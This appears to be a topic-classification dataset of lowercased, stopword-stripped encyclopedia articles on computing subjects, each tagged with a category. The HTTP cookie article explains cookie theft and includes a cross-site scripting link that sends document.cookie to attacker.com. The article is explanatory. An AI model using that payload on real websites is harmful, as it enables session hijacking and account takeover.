headers http/1.0 200 ok content-type text/html set-cookie theme=light set-cookie sessiontoken=abc123 expires=wed 09 jun 2021 10:18:14 gmt server http response contains contents website homepage also instructs browser set two cookies first theme considered session cookie since codice_27 codice_28 attribute session cookies intended deleted browser browser closes second sessiontoken considered persistent cookie since contains codice_27 attribute instructs browser delete cookie specific date time next browser sends another request visit codice_30 page website request contains codice_31 http header contains two cookies server instructed browser set get /spec.html http/1.1 host www.example.org cookie theme=light sessiontoken=abc123 way server knows request related previous one server would answer sending requested page possibly including codice_2 headers response order add new cookies modify existing cookies delete cookies value cookie modified server including codice_2 header response page request browser replaces old value new value value cookie may consist printable ascii character codice_34 codice_35 unicode codice_36 codice_37 excluding codice_38 codice_39 whitespace characters name cookie excludes characters well codice_40 since delimiter name value cookie standard rfc 2965 restrictive implemented browsers term cookie crumb sometimes used refer cookie name–value pair cookies also set scripting languages javascript run within browser javascript object codice_41 used purpose example instruction codice_42 creates cookie name temperature value 20 addition name value cookies also one attributes browsers include cookie attributes requests server—they send cookie name value cookie attributes used browsers determine delete cookie block cookie whether send cookie server codice_43 codice_44 attributes define scope cookie essentially tell browser website cookie belongs obvious security reasons cookies set current resource top domain sub domains another domain sub domains example website codice_45 set cookie domain codice_46 would allow codice_45 website control cookies codice_46 cookie codice_43 codice_44 attributes specified server default domain path resource requested however browsers difference cookie set codice_46 without domain cookie set codice_46 domain former case cookie sent requests codice_46 also known host-only cookie latter case sub domains also included example codice_54 notable exception general rule edge prior windows 10 rs3 internet explorer prior ie 11 windows 10 rs4 april 2018 always send cookies sub domains regardless whether cookie set without domain example codice_2 http response headers sent website user logged http request sent webpage within codice_54 subdomain http/1.0 200 ok set-cookie lsid=dqaaak…eaem_vyg path=/accounts expires=wed 13 jan 2021 22:23:01 gmt secure httponly set-cookie hsid=ayqevn…dkrdst domain=.foo.com path=/ expires=wed 13 jan 2021 22:23:01 gmt httponly set-cookie ssid=ap4p…gteq domain=foo.com path=/ expires=wed 13 jan 2021 22:23:01 gmt secure httponly first cookie codice_57 codice_43 attribute codice_44 attribute set codice_60 tells browser use cookie requesting pages contained codice_61 domain derived request domain two cookies codice_62 codice_63 would used browser requests subdomain codice_64 path example codice_65 prepending dot optional recent standards added compatibility rfc 2109 based implementations codice_27 attribute defines specific date time browser delete cookie date time specified form codice_67 form codice_68 values yy yy greater equal 0 less equal 69 alternatively codice_28 attribute used set cookie expiration interval seconds future relative time browser received cookie example three codice_2 headers received website user logged http/1.0 200 ok set-cookie lu=rg3vhjznehyljvg7qi3bzjzg expires=tue 15 jan 2013 21:47:38 gmt path=/ domain=.example.com httponly set-cookie made_write_conn=1295214458 path=/ domain=.example.com set-cookie reg_fb_gate=deleted expires=thu 01 jan 1970 00:00:01 gmt path=/ domain=.example.com httponly first cookie codice_71 set expire sometime 15 january 2013 used client browser time second cookie codice_72 expiration date making session cookie deleted user closes browser third cookie codice_73 value changed deleted expiration time past browser delete cookie right away expiration time past note cookie deleted domain path attributes codice_2 field match values used cookie created codice_4 codice_5 attributes associated values rather presence attribute names indicates behaviors enabled codice_4 attribute meant keep cookie communication limited encrypted transmission directing browsers use cookies via secure/encrypted connections however web server sets cookie secure attribute non-secure connection cookie still intercepted sent user man-in-the-middle attacks therefore maximum security cookies secure attribute set secure connection codice_5 attribute directs browsers expose cookies channels http https requests means cookie accessed via client-side scripting languages notably javascript therefore stolen easily via cross-site scripting pervasive attack technique modern browsers support cookies allow user disable following common options default internet explorer allows third-party cookies accompanied p3p cp compact policy field add-on tools managing cookie permissions also exist cookies important implications privacy anonymity web users cookies sent server setting server internet domain web page may contain images components stored servers domains cookies set retrieval components called third-party cookies older standards cookies rfc 2109 rfc 2965 specify browsers protect user privacy allow sharing cookies servers default however newer standard rfc 6265 explicitly allows user agents implement whichever third-party cookie policy wish browsers mozilla firefox internet explorer opera google chrome allow third-party cookies default long third-party website compact privacy policy published newer versions safari block third-party cookies planned mozilla firefox well initially planned version 22 postponed indefinitely advertising companies use third-party cookies track user across multiple sites particular advertising company track user across pages placed advertising images web bugs knowledge pages visited user allows advertising company target advertisements user presumed preferences website operators disclose third-party cookie use consumers run risk harming consumer trust cookie use discovered clear disclosure privacy policy tends eliminate negative effects cookie discovery possibility building profile users privacy threat especially tracking done across multiple domains using third-party cookies reason countries legislation cookies united states government set strict rules setting cookies 2000 disclosed white house drug policy office used cookies track computer users viewing online anti-drug advertising 2002 privacy activist daniel brandt found cia leaving persistent cookies computers visited website notified violating policy cia stated cookies intentionally set stopped setting december 25 2005 brandt discovered national security agency nsa leaving two persistent cookies visitors computers due software upgrade informed nsa immediately disabled cookies 2002 european union launched directive privacy electronic communications policy requiring end users consent placement cookies similar technologies storing accessing information users equipment particular article 5 paragraph 3 mandates storing data user computer done user provided information data used user given possibility denying storing operation directive 95/46/ec defines data subject consent freely given specific informed indication wishes data subject signifies agreement personal data relating processed consent must involve form communication individuals knowingly indicate acceptance 2009 policy amended directive 2009/136/ec included change article 5 paragraph 3 instead option users opt cookie storage revised directive requires consent obtained cookie storage june 2012 european data protection authorities adopted opinion clarifies cookie users might exempt requirement gain consent industry response largely negative robert bond law firm speechly bircham describes effects far-reaching incredibly onerous uk companies simon davis privacy international argues proper enforcement would destroy entire industry p3p specification offers possibility server state privacy policy using http header specifies kind information collects purpose policies include limited use information gathered using cookies according p3p specification browser accept reject cookies comparing privacy policy stored user preferences ask user presenting privacy policy declared server however p3p specification criticized web developers complexity websites correctly implement example facebook jokingly used honk p3p header period internet explorer provides adequate support specification third-party cookies blocked browsers increase privacy reduce tracking advertising tracking companies without negatively affecting user web experience many advertising operators opt-out option behavioural advertising generic cookie browser stopping behavioural advertising websites use cookies identifiers user sessions methods identifying web users limitations vulnerabilities website uses cookies session identifiers attackers impersonate users requests stealing full set victims cookies web server point view request attacker authentication victim requests thus request performed behalf victim session listed various scenarios cookie theft user session hijacking even without stealing user cookies work websites relying solely http cookies user identification traffic network intercepted read computers network sender receiver particularly unencrypted open wi-fi traffic includes cookies sent ordinary unencrypted http sessions network traffic encrypted attackers therefore read communications users network including http cookies well entire contents conversations purpose man-in-the-middle attack attacker could use intercepted cookies impersonate user perform malicious task transferring money victim bank account issue resolved securing communication user computer server employing transport layer security https protocol encrypt connection server specify codice_4 flag setting cookie cause browser send cookie encrypted channel tls connection attacker able cause dns server cache fabricated dns entry called dns cache poisoning could allow attacker gain access user cookies example attacker could use dns cache poisoning create fabricated dns entry codice_81 points ip address attacker server attacker post image url server example codice_82 victims reading attacker message would download image codice_81 since codice_81 sub-domain codice_85 victims browsers would submit codice_17-related cookies attacker server attacker able accomplish usually fault internet service providers properly securing dns servers however severity attack lessened target website uses secure cookies case attacker would extra challenge obtaining target website tls certificate certificate authority since secure cookies transmitted encrypted connection without matching tls certificate victims browsers would display warning message attacker invalid certificate would help deter users visiting attacker fraudulent website sending attacker cookies cookies also stolen using technique called cross-site scripting occurs attacker takes advantage website allows users post unfiltered html javascript content posting malicious html javascript code attacker cause victim web browser send victim cookies website attacker controls example attacker may post message codice_85 following link href= onclick= window.location 'http //attacker.com/stole.cgi text= escape document.cookie return false click /a another user clicks link browser executes piece code within codice_88 attribute thus replacing string codice_41 list cookies accessible current page result list cookies sent codice_90 server attacker malicious posting https website codice_91 secure cookies also sent attacker.com plain text responsibility website developers filter malicious code attacks mitigated using httponly cookies cookies accessible client-side scripting languages like javascript therefore attacker able gather cookies older versions many browsers security holes implementation xmlhttprequest api api allows pages specify proxy server would get reply proxy server subject same-origin policy example victim reading attacker posting codice_85 attacker script executed victim browser script generates request codice_85 proxy server codice_90 since request codice_85 codice_17 cookies sent along request routed attacker proxy server hence attacker would able harvest victim cookies attack would work secure cookies since transmitted https connections https protocol dictates end-to-end encryption i.e information encrypted user browser decrypted destination server case proxy server would see raw encrypted bytes http request example bob might browsing chat forum another user mallory posted message suppose mallory crafted html image element references action bob bank website rather image file e.g. bob bank keeps authentication information cookie cookie n't expired attempt bob browser load image submit withdrawal form cookie thus authorizing transaction without bob approval cookiejacking form hacking wherein attacker gain access session cookies internet explorer user discovered rosario valotta internet security researcher exploit allows attacker obtain cookie site thus username password tricking user dragging object across screen although microsoft deemed flaw low-risk level required user interaction necessity user already logged website whose cookie stolen valotta able use social engineering attack obtain three days cookies 80 facebook users 150 friends besides privacy concerns cookies also technical drawbacks particular always accurately identify users used security attacks often odds representational state transfer rest software architectural style one browser used computer usually separate storage area cookies hence cookies identify person combination user account computer web browser thus anyone uses multiple accounts computers browsers multiple sets cookies likewise cookies differentiate multiple users share user account computer browser use cookies may generate inconsistency state client state stored cookie user acquires cookie clicks back button browser state browser generally acquisition example shopping cart online shop built using cookies content cart may change user goes back browser history user presses button add item shopping cart clicks back button item remains shopping cart might intention user possibly wanted undo addition item lead unreliability confusion bugs web developers therefore aware issue implement measures handle situations operations done using cookies also done using mechanisms json web token jwt self-contained packet information used store user identity authenticity information allows used place session cookies unlike cookies automatically attached http request browser jwts must explicitly attached http request web application http protocol includes basic access authentication digest access authentication protocols allow access web page user provided correct username password server requires credentials granting access web page browser requests user obtained browser stores sends every subsequent page request information used track user users may tracked based ip address computer requesting page server knows ip address computer running browser proxy used could theoretically link user session ip address however ip addresses generally reliable way track session identify user many computers designed used single user office pcs home pcs behind network address translator nat means several pcs share public ip address furthermore systems tor designed retain internet anonymity rendering tracking ip address impractical impossible security risk precise technique based embedding information urls query string part url part typically used purpose parts used well java servlet php session mechanisms use method cookies enabled method consists web server appending query strings containing unique session identifier links inside web page user follows link browser sends query string server allowing server identify user maintain state kinds query strings similar cookies contain arbitrary pieces information chosen server sent back server every request however differences since query string part url url later reused attached piece information sent server could lead confusion example preferences user encoded query string url user sends url another user e-mail preferences used user well moreover user accesses page multiple times different sources guarantee query string used time example user visits page coming page internal site first time visits page coming external search engine second time query strings would likely different cookies used situation cookies would drawbacks query strings related security storing data identifies session query string enables session fixation attacks referer logging attacks security exploits transferring session identifiers http cookies secure another form session tracking use web forms hidden fields technique similar using url query strings hold information many advantages drawbacks fact form handled http get method technique similar using url query strings since get method adds form fields url query string forms handled http post causes form information including hidden fields sent http request body neither part url cookie approach presents two advantages point view tracker first tracking information placed http request body rather url means noticed average user second session information copied user copies url bookmark page send via email example current web browsers store fairly large amount data 2–32 mb via javascript using dom property codice_97 data used instead session cookies also cross-domain technique coupled json/javascript objects store complex sets session variables client side downside every separate window tab initially empty codice_97 property opened furthermore property used tracking visitors across different websites making concern internet privacy respects secure cookies due fact contents automatically sent server every request like cookies vulnerable network cookie sniffing attacks however special measures taken protect data vulnerable attacks data available across different websites opened window tab apple uses tracking technique called identifier advertisers idfa technique assigns unique identifier every user buys apple ios device iphone ipad identifier used apple advertising network iad determine ads individuals viewing responding etags cached browser returned subsequent requests resource tracking server simply repeat etag received browser ensure assigned etag persists indefinitely similar way persistent cookies additional caching headers also enhance preservation etag data etags flushed browsers clearing browser cache web browsers support persistence mechanisms allow page store information locally later use html5 standard modern web browsers support extent includes javascript api called web storage allows two types storage local storage session storage local storage behaves similarly persistent cookies session storage behaves similarly session cookies except session storage tied individual tab/window lifetime aka page session whole browser session like session cookies internet explorer supports persistent information browser history browser favorites xml store user data directly within web page saved disk web browser plugins include persistence mechanisms well example adobe flash local shared object microsoft silverlight isolated storage browser cache also used store information used track individual users technique takes advantage fact web browser use resources stored within cache instead downloading website determines cache already up-to-date version resource example website could serve javascript file code sets unique identifier user example codice_99 user initial visit every time user accesses page file loaded cache instead downloaded server thus content never change browser fingerprint information collected browser configuration version number screen resolution operating system purpose identification fingerprints used fully partially identify individual users devices even cookies turned basic web browser configuration information long collected web analytics services effort accurately measure real human web traffic discount various forms click fraud assistance client-side scripting languages collection much esoteric parameters possible assimilation information single string comprises device fingerprint 2010 eff measured least 18.1 bits entropy possible browser fingerprinting canvas fingerprinting recent technique claims add another 5.7 bits
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Computer security
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space shuttle journey space space shuttle journey space space flight simulator game designed steve kitchen atari 2600 published activision 1983 one first realistic spacecraft simulations available home systems space shuttle adapted atari 8-bit family atari 5200 bob henderson 1984 ported zx spectrum 1984 commodore 64 1984 amstrad cpc 1986 msx 1986 1984 activision software catalog also mentions apple ii version player controls critical flight phases launch stabilizing orbit docking deorbit burn reentry landing set instructions follow original atari 2600 version came overlay since made use switches april 1984 review video games magazine dan persons wrote space shuttle game everybody requires considerable amount patience perhaps surprisingly considerable amount brainpower players seek visceral thrills standard shoot'em-up may ultimately find simulation complexity frustrating ready richer sophisticated experience probably recognize space shuttle monumental achievement
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Computer architecture
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sawmill software sawmill software package statistical analysis reporting log files dynamic contextual filtering 'live data zooming user interface customization custom calculated reports sawmill also incorporates real-time reporting real-time alerting available since 1997 time sawmill provides support approximately 850 server log file formats new formats added request sawmill also includes page tagging server javascript page tag analysis client side clicks client requests providing total view visitor traffic on-site behavioural activity sawmill analytics offered three forms software package user deployment turnkey on-premises system appliance saas sawmill analyzes device software package producing log file includes web servers firewalls proxy servers mail servers network devices switches routers etc syslog servers databases etc sawmill oem reporting engine sold blue coat systems bundled part proxy server product branded version also sold cisco systems sawmill ironport branded version also sold vicomsoft ltd intergate intelligence branded version also sold sonicwall sonicwall aventail advanced reporting sawmill second runner-up 2009 streaming media european readers choice awards sawmill listed ideal observer web analytics tool overview
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Web technology
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database forensics database forensics branch digital forensic science relating forensic study databases related metadata discipline similar computer forensics following normal forensic process applying investigative techniques database contents metadata cached information may also exist servers ram requiring live analysis techniques forensic examination database may relate timestamps apply update time row relational table inspected tested validity order verify actions database user alternatively forensic examination may focus identifying transactions within database system application indicate evidence wrongdoing fraud software tools used manipulate analyse data tools also provide audit logging capabilities provide documented proof tasks analysis forensic examiner performed database currently many database software tools general reliable precise enough used forensic work demonstrated first paper published database forensics currently single book published field though destined additionally subsequent sql server forensics book kevvie fowler named sql server forensics well regarded also forensic study relational databases requires knowledge standard used encode data computer disk documentation standards used encode information well-known brands db sql server oracle contributed public domain others include apex analytix forensic analysis database executed isolation technological framework within subject database exists crucial understanding resolving questions data authenticity integrity especially relates database users
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Databases
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block availability map computer file systems block availability map bam data structure used track disk blocks considered free available new data used along directory manage files disk originally floppy disk later also hard disk terms commodore dos cbm dos compatible disk drives bam data structure stored reserved area disk size location varied based physical characteristics disk track bam consisted bitmap available blocks usually count available blocks count held single byte formats 256 fewer blocks per track count byte simply sum 1-bits bitmap bytes current track following table illustrates layout commodore 1541 bam table would larger higher-capacity disks described bitmap contained 3 bytes commodore 1541 format single-sided disks 17 20 sectors per track note 3 bytes hold least 20 bits similarly commodore 1571 used 3 bytes bitmap track bam twice size twice many tracks formatted double-sided contrast commodore 1581 disk drive used 5 bytes bitmap disk format 40 blocks per track note 5 bytes hold 40 bits bitmap format 1 bit indicated block available free 0 bit indicated block available used bitmap data stored low-byte first first byte held map blocks 0 7 second byte held map blocks 8 15 within byte bitmap ordered low-bit first example first byte would represent block 0 least significant bit block 7 significant bit storage devices creative micro designs intended use cbm computers also used block availability map served purpose however devices fd-2000 fd-4000 cmd-hd include count byte bits byte reversed high-bit first although bits reversed compared cbm formats bytes still stored order low-byte first
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Computer file systems
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bundling microsoft windows bundling microsoft windows installation microsoft windows computers purchase microsoft encourages original equipment manufacturers oems personal computers include windows licenses products agreements microsoft oems undergone antitrust scrutiny users opposed bundling microsoft windows sought refunds windows licenses arguing windows end-user license agreement entitles return unused windows licenses cash refund although customers successfully obtained payments cases litigation lengthy negotiations others less successful microsoft encourages original equipment manufacturers oems supply computers windows pre-installed saying consumers benefit install operating system analyst vishal tripathi said many consumers purchase pcs pre-installed operating systems want deal learning curve inconvenience installing operating system virtually large computer vendors bundle microsoft windows majority personal computers ranges 1999 maximum pc wrote non-windows users long griped machines large companies ca n't purchased without windows 1999 analyst rob enderle attributed lack computers without windows available individual purchase economic impracticality citing certification warranty requirements 1999 dell stated offered non-microsoft operating systems servers part customized large orders linux became popular enough make linux pre-installation cost-effective 'd foolish offer guardian computer editor jack schofield said significant overhead costs associated pre-installation linux part due linux small market share serdar yegulalp computerworld said late 1990s linux fully developed linux computers tough sell non-technical users microsoft historically engaged licensing practices discouraged installation non-microsoft operating systems microsoft assessed license fees based number computers oem sold regardless whether windows license included beginning 1983 microsoft sold ms-dos licenses oems individually-negotiated basis contracts required oems purchase number ms-dos licenses equal greater number computers sold result zero marginal cost oems include ms-dos installing operating system ms-dos would effectively require double payment operating system royalties also microsoft penalized oems installed alternative operating systems making license terms less favorable microsoft entered consent decree 1994 barred microsoft conditioning availability windows licenses varying prices based whether oems distributed operating systems microsoft general counsel brad smith said decree effective allowing dell hp offer linux computers jeremy reimer ars technica stated decree made fiscally realistic sell computers alternative operating systems 1999 microsoft representative stated contracts oems stop oem shipping operating system pcs 2010 microsoft stated agreements oems distribute windows nonexclusive oems free distribute computers different operating system without operating system 2001 article byte reported license agreements oems microsoft forbade oems including windows alongside another operating system computer according 1999 new york times article critics assert company continues use market clout ensure nearly new personal computers come windows pre-installed 2009 microsoft stated always charged oems 50 windows license 1,000 computer 2007 dell stated computers ubuntu installed would priced 50 lower comparable systems windows installed 2010 zdnet article chris clay wrote dell computers ubuntu preinstalled priced higher identical systems windows preinstalled even though ubuntu free open source claimed increase price computer resulting inclusion windows license called windows tax microsoft tax opposing computer users computer purchasers request refunds windows licenses included purchased computers want use windows preferring operating system linux instead jeff walsh infoworld said businesses site licenses save money requesting refunds windows licenses included purchased computers users avoid windows tax altogether assembling computer individually purchased parts purchasing computer oem bundle windows smaller oems larger retail chains system76 taken specializing linux-based systems advantage major suppliers paucity non-windows offerings beginning 2007 dell offered computers ubuntu pre-installed 2014 hewlett-packard stated sells units bundled built-in os without linux distributors also run 'partnership programs endorse suppliers machines system pre-installed vendors purchase computers major oems install linux resell chris clay zdnet wrote employee discount programs create financial incentive purchase computers large manufacturer even manufacturer offer computers without windows microsoft requires oems support uefi secure boot products qualify windows 8 logo program concerns raised oems might ship systems allow users disable secure boot install signing keys alternative operating systems computers would unable boot non-windows operating system unless operating system signed keys included computer complicating issue windows refunds microsoft claims oems would free decide keys include manage competing os vendors relative lack influence desktop os market compared microsoft might mean even signed versions operating systems available might face difficulties getting hardware vendors include keys especially end users wo n't able manage keys boot locking required arm devices microsoft provide refunds windows licenses sold oem including licenses come purchase computer pre-installed computer microsoft denmark representative stated microsoft windows license terms allow oems offer refund windows license microsoft end user license agreement windows 10 states 1999 relevant text read 1999 according infoworld users taking eula literally plan demand cash refund 1999 microsoft representative described requesting windows refund basis rejecting license technicality someone twisting language little bit come idea run back oem laurie j. flynn new york times characterized license refund argument using loophole license agreement oem policies refunding unused windows licenses vary oems programs specifically allow user receive refund unused windows license acer us windows refund program user ship computer unused copy windows acer service center computer returned without windows refund acer policy requires customer return items expense balance received customer low €30 applies eu reported refund 2014 €40 windows 8 vendors like dell ad hoc procedures users request refund windows license one user received £55.23 refund dell said process pretty gob-smacked easy cases vendors asked customers requesting refunds sign non-disclosure agreements 1999 toshiba representative stated case user obtained 110 refund typical policy people run try vendors issue refunds windows licenses february 1999 infoworld reported pc manufacturers currently offering refunds users use windows according 1999 maximum pc article dell provide refunds windows licenses interpreting license agreement treat hardware software single package must returned 2009 sony refused offer partial refund customer declined windows vista eula instead offering refund entire computer consumer declined litigation users denied partial refund unused windows license resulted rulings france italy bundling microsoft windows refusing offer partial refunds windows license violates applicable law september 2014 supreme court italy ruling 19161/2014 decided laptop buyer entitled receive refund €140 price microsoft windows license microsoft works license computer saying bundling commercial policy forced distribution slammed practice monopolistic tendency india bundling challenged users violation competition act 2002 one sent legal notice hp however another license refund case french appellate court ruled favor oem holding sale issue constitute unfair commercial practice coercive selling permitted circumstances unfair commercial tying practice misleading aggressive commercial practice case pending court cassation september 2016 court justice european union ruled sale computer equipped pre-installed software constitute unfair commercial practice within meaning directive 2005/29 offer contrary requirements professional diligence distort economic behaviour consumers court also ruled directive 2005/29 require oems include separate price operating system license websites created specific purpose spreading information issue educating others options getting refund 1999 rally opposing bundling windows attracted 100 protesters gained media attention worldwide overall goal events get oems expand selection computers without copy windows pre-installed additional goal getting revise improve refund policies first goal met analyst stated refund actions individual users publicity stunt impact
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Operating systems
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java data mining java data mining jdm standard java api developing data mining applications tools jdm defines object model java api data mining objects processes jdm enables applications integrate data mining technology developing predictive analytics applications tools jdm 1.0 standard developed java community process jsr 73 2006 jdm 2.0 specification developed jsr 247 withdrawn 2011 without standardization various data mining functions techniques like statistical classification association regression analysis data clustering attribute importance covered 1.0 release standard never received wide acceptance known implementation
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Programming language topics
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wan optimization wan optimization collection techniques increasing data transfer efficiencies across wide-area networks wans 2008 wan optimization market estimated 1 billion grow 4.4 billion 2014 according gartner technology research firm 2015 gartner estimated wan optimization market 1.1 billion market common measures tcp data-transfer efficiencies i.e. optimization throughput bandwidth requirements latency protocol optimization congestion manifested dropped packets addition wan classified regards distance endpoints amounts data transferred two common business wan topologies branch headquarters data center data center dc2dc general branch wan links closer use less bandwidth support simultaneous connections support smaller connections short-lived connections handle greater variety protocols used business applications email content management systems database application web delivery comparison dc2dc wan links tend require bandwidth distant involve fewer connections connections bigger 100 mbit/s 1 gbit/s flows longer duration traffic dc2dc wan may include replication back data migration virtualization business continuity/disaster recovery bc/dr flows wan optimization subject extensive academic research almost since advent wan early 2000s research private public sectors turned improving end-to-end throughput tcp target first proprietary wan optimization solutions branch wan recent years however rapid growth digital data concomitant needs store protect presented need dc2dc wan optimization example optimizations performed increase overall network capacity utilization meet inter-datacenter transfer deadlines minimize average completion times data transfers another example private inter-datacenter wans benefit optimizations fast efficient geo-replication data content newly computed machine learning models multimedia content component techniques branch wan optimization include deduplication wide area file services wafs smb proxy https proxy media multicasting web caching bandwidth management requirements dc2dc wan optimization also center around deduplication tcp acceleration however must occur context multi-gigabit data transfer rates
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Internet protocols
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malgun gothic malgun gothic 맑은 고딕 korean sans-serif typeface developed sandoll communications hinting monotype imaging replacement dotum gulim default system font korean language version windows vista first shipped windows vista available download later windows server 2008 windows xp users name malgun means clear korean thus making direct translation font name clear gothic font uses segoe ui latin text korean glyphs created based typeface hunminjeongeum streamlined modern form characters well upright well-regulated strokes font supports ks x 1001 character set unlike dotum gulim han ideographic glyphs windows pull gulim hanja set instead initially fonts n't include half-width fixed latin glyphs hanja designed malgun gothic chinatype design monotype imaging inc. released windows 8 released glyphs n't rounded terminals windows vista includes two roman weights font windows 10 malgun gothic changed number characteristics shown significantly 2 1
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Operating systems
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gepir gepir publicly available cost limits number requests per/day ip 30 gs1 offers similar paid service gs1 data hub provides additional capabilities without traffic limitations imposed gepir search 111 gs1 member organizations gepir since 2013 first digits gtin code called gs1 prefix used route query corresponding gs1 member organization results returned html xml countries soap webservice provides return code indicating error occurred gepir accessible free almost countries number request per day limited 20 30 since october 2013 gs1 france restricts access gepir companies registration siren number required use premium access created gs1 france january 2010 allows companies use gs1 web soap interface without limit price access public gepir lookup service coordinated gs1 go provides end users ability look information gs1 identification keys depending service systems provided gs1 member organisations mos 3rd party service providers gs1 mo choose provide service directly end users gs1 global office may provide service geography services involve technical component deployed gs1 global office coordinates systems provided gs1 mos and/or 3rd party service providers gepir service provided systems deployed gs1 mos gs1 go providing central point coordination federate local systems gs1 go also provides mo-level service mos wish deploy system nature synchronization gepir requires users know quality issues exceptions conformance program introduced gs1 2013
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Databases
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everything file everything file describes one defining features unix derivatives—that wide range input/output resources documents directories hard-drives modems keyboards printers even inter-process network communications simple streams bytes exposed filesystem name space advantage approach set tools utilities apis used wide range resources number file types file opened file descriptor created file path becoming addressing system file descriptor byte stream i/o interface file descriptors also created things like anonymous pipes network sockets via different methods therefore accurate description feature everything file descriptor additionally range pseudo virtual filesystems exists exposes information processes system information hierarchical file-like structure mounted single file hierarchy example purely virtual filesystem /proc exposes many system properties files files broader sense word standard unix file attributes owner access permissions queried classic unix tools filters however universally considered fast portable approach operating systems even mount /proc default due security speed concerns though used heavily widely installed busybox embedded systems procps used linux systems cases used implementations process-related posix shell commands similarly used android systems operating system toolbox program unix successor plan 9 took concept distributed computing 9p protocol
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Computer file systems
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way tiger way tiger series adventure gamebooks mark smith jamie thomson set fantasy world orb reader takes part young monk/ninja avenger initially quest avenge foster father recover stolen scrolls later books presented challenges avenger overcome notably taking ruling city world orb originally created mark smith dungeons dragons game ran pupil brighton college mid-1970s orb also used setting fighting fantasy gamebook talisman death smith thomson book disclaimer front performing ninja related feats book could lead serious injury death untrained user sixth book inferno ends cliffhanger avenger trapped web black widow orb darkest blight new books released fate avenger orb unknown mark smith confirmed cliffhanger ending deliberate august 2013 original creators series working megara entertainment develop re-edited hardcover collector editions gamebooks including new prequel book 0 sequel book 7 potentially role-playing game based series two new books plus six re-edited original books reprinted paperback format megara entertainment 2014 made available pdfs 2019 december 2013 announced tin man games would releasing original six books series digital platforms 2014 2015 however 2017 nothing released original series comprises six books books could played sequence standalone adventures although playing sequence preserves continuity storyline played sequence abilities bonuses penalties special items avenger acquired carried next book expanded eight-book series consists following titles first last printed many years original six series featured combat system based unarmed fighting moves colourful names cobra strike punch leaping tiger kick avenger could also choose list ninja skills acrobatics poison needle spitting used variety appropriate weaponry garotte shuriken luck also played part form fate tests see fate smiled turned back avenger could also enhance skill using inner force similar qi energy series avenger could learn new skills shinren means understanding people intentions observing subtle clues books large number opponents recurring characters aside certain ancient titans called elder gods orb ruled various deities two video games based books released first way tiger beat 'em released gremlin graphics amstrad cpc zx spectrum commodore 16 commodore 64 game avenger fighting staves swords well utilizing unarmed combat avenger rarely used weapons apart shuriken books way tiger ii avenger action-adventure made gremlin graphics 1986 computers commodore 64 amstrad cpc zx spectrum msx game story yaemon grand master flame killed player foster-father naijish stolen scrolls kettsuin recover scrolls player find enough keys penetrate quench heart keep kill three guards game viewed top-down perspective superficially resembles gauntlet
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Computer architecture
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mobile basic mobile basic proprietary dialect basic programming language used program java-enabled mobile phones possible interpreter midlet
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Programming language topics
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standard portable intermediate representation standard portable intermediate representation spir intermediate language parallel compute graphics khronos group originally developed use opencl spir rewritten spir-v march 2015 opencl uses just-in-time compilation jit necessitating one two software distribution patterns developers distribute device-specific pre-compiled binaries distribute relevant source code limited desire protect intellectual property spir enables creation distribution device-independent binaries within opencl stack spir originally introduced 2011 spir-v introduced 2015 spir prior 2015 spir-v release based llvm intermediate representation provisional specification spir 1.0 announced 2012 july 22 2013 provisional specification spir 1.2 announced siggraph 2013 final spir 1.2 specification released hipeac 2014 january 21 2014 august 11th 2014 provisional specification spir 2.0 released siggraph 2014 spir-v 1.0 rewritten version spir announced march 2015 released nov. 16 2015 spir family includes true cross-api standard fully defined khronos native support shader kernel features spir-v high-level intermediate language exchanged binary form functions represented control flow graph basic blocks using static single assignment ssa form data structures retain high-level hierarchical representation lossy like previous byte-code virtual machine-like intermediate representations used graphical shaders allows higher performance lowering target devices support ingestion spir-v incorporated core specification opencl 2.1 vulkan api opengl version 4.6 april 18th 2016 spir-v 1.1 released iwocl 2016 along provisional opencl 2.2 spir-v 1.1 added support opencl c++ initializer/finalizer function execution modes named barriers subgroup execution program scope pipes pipe storage may 16 2017 spir-v 1.2 released iwocl 2017 along opencl 2.2 spir-v 1.2 added support runtime specialization key tuning parameters opencl 2.2 march 7 2018 spir-v 1.3 released along vulkan 1.1 spir-v 1.3 added support subgroup operations enables enhanced compiler optimizations may 7 2019 spir-v 1.4 released
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Programming language topics
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information assurance information assurance ia practice assuring information managing risks related use processing storage transmission information data systems processes used purposes information assurance includes protection integrity availability authenticity non-repudiation confidentiality user data uses physical technical administrative controls accomplish tasks focused predominantly information digital form full range ia encompasses digital also analog physical form protections apply data transit physical electronic forms well data rest various types physical electronic storage facilities ia best thought superset information security i.e umbrella term business outcome information risk management information assurance ia process getting right information right people right time ia benefits business use information risk management trust management resilience appropriate architecture system safety security increases utility information authorized users reduces utility information unauthorized strongly related field information security also business continuity ia relates business level strategic risk management information related systems rather creation application security controls therefore addition defending malicious hackers code e.g. viruses ia practitioners consider corporate governance issues privacy regulatory standards compliance auditing business continuity disaster recovery relate information systems information security draws primarily computer science ia interdisciplinary field requiring expertise business accounting user experience fraud examination forensic science management science systems engineering security engineering criminology addition computer science information assurance also term used governments including government united kingdom provision holistic security information systems use term interdisciplinary approach set somewhat lessened security/ systems engineering business continuity/ enterprise resilience forensic investigation threat analysis considered management science accounting criminology considered developing mitigation risks developed risk assessments conducted hmg information assurance standard 1 2 replaced hmg information security standard 2 sets principles requirements risk management accordance principles one information assurance standards currently used within uk public sector information assurance process typically begins enumeration classification information assets protected next ia practitioner perform risk assessment assets vulnerabilities information assets determined order enumerate threats capable exploiting assets assessment considers probability impact threat exploiting vulnerability asset impact usually measured terms cost asset stakeholders sum products threats impact probability occurring total risk information asset risk assessment complete ia practitioner develops risk management plan plan proposes countermeasures involve mitigating eliminating accepting transferring risks considers prevention detection response threats framework published standards organization nist rmf risk cobit pci dss iso/iec 27002 may guide development countermeasures may include technical tools firewalls anti-virus software policies procedures requiring controls regular backups configuration hardening employee training security awareness organizing personnel dedicated computer emergency response team cert computer security incident response team csirt cost benefit countermeasure carefully considered thus ia practitioner seek eliminate risks possible manage cost-effective way risk management plan implemented tested evaluated often means formal audits ia process iterative one risk assessment risk management plan meant periodically revised improved based data gathered completeness effectiveness number international national bodies issue standards information assurance practices policies procedures uk include information assurance advisory council information assurance collaboration group information assurance also evolved due social media
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Computer security
